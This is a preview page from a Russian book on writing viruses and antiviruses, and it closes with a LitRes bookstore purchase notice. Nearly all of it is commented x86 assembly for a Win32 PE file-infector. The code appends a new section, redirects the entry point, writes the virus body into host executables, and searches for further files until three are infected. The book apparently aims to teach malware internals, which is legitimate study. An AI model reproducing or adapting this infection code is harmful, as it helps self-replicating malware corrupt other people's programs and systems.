Создаем вирус и антивирус - Страница 13
add eax,[edi−5*8+12]
mov ecx,dword ptr [ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта
mov ecx,dword ptr [ebp+offset filealign]
mov eax,vend−vstart
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax
;Вычислим виртуальный размер нового объекта
mov ecx,dword ptr [ebp+offset objalign]
mov eax,vend–vstart+1000h
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax
;Вычислим физическое смещение нового объекта
mov eax,[edi−5*8+20]
add eax,[edi−5*8+16]
mov ecx,dword ptr [ebp+offset filealign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
;Обновим размер образа (размер в памяти) файла
mov eax,vend−vstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx,[ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset imagesize],eax
;Скопируем новый объект в таблицу объектов
mov ecx,10
rep movsd
;Вычислим точку входа RVA
mov eax,dword ptr [ebp+offset RVA]
mov ebx,dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax
sub eax,ebx
add eax,5
;Установим значение, необходимое для возврата в носитель
mov dword ptr [ebp+offset subme],eax
;Поставим указатель позиции чтения/записи на начало PE−заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Запишем PE−заголовок и таблицу объектов в файл
push 0
lea eax,[ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
;Увеличим счетчик заражений
inc byte ptr [ebp+offset countinfect]
;Поставим указатель позиции чтения/записи
;по физическому смещению нового объекта
push 0
push 0
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Запишем тело вируса в новый объект
push 0
lea eax,[ebp+offset bytesread]
push eax
push vend−vstart
lea eax,[ebp+offset vstart]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
;Закроем файл
notape:
push dword ptr [ebp+offset ahand]
call CloseFile
;Переход к следующему файлу
findnextone:
;Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше – ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea eax,[ebp+offset win32_data_thang]
push eax
push dword ptr [ebp+offset searchhandle]
call FindNext
;Если файл найден, переходим к заражению
or eax,eax
jnz gofile
;Сюда попадаем, если файл не найден
foundnothing:
Конец ознакомительного фрагмента.
Текст предоставлен ООО «ЛитРес».
Прочитайте эту книгу целиком, купив полную легальную версию на ЛитРес.
Безопасно оплатить книгу можно банковской картой Visa, MasterCard, Maestro, со счета мобильного телефона, с платежного терминала, в салоне МТС или Связной, через PayPal, WebMoney, Яндекс.Деньги, QIWI Кошелек, бонусными картами или другим удобным Вам способом.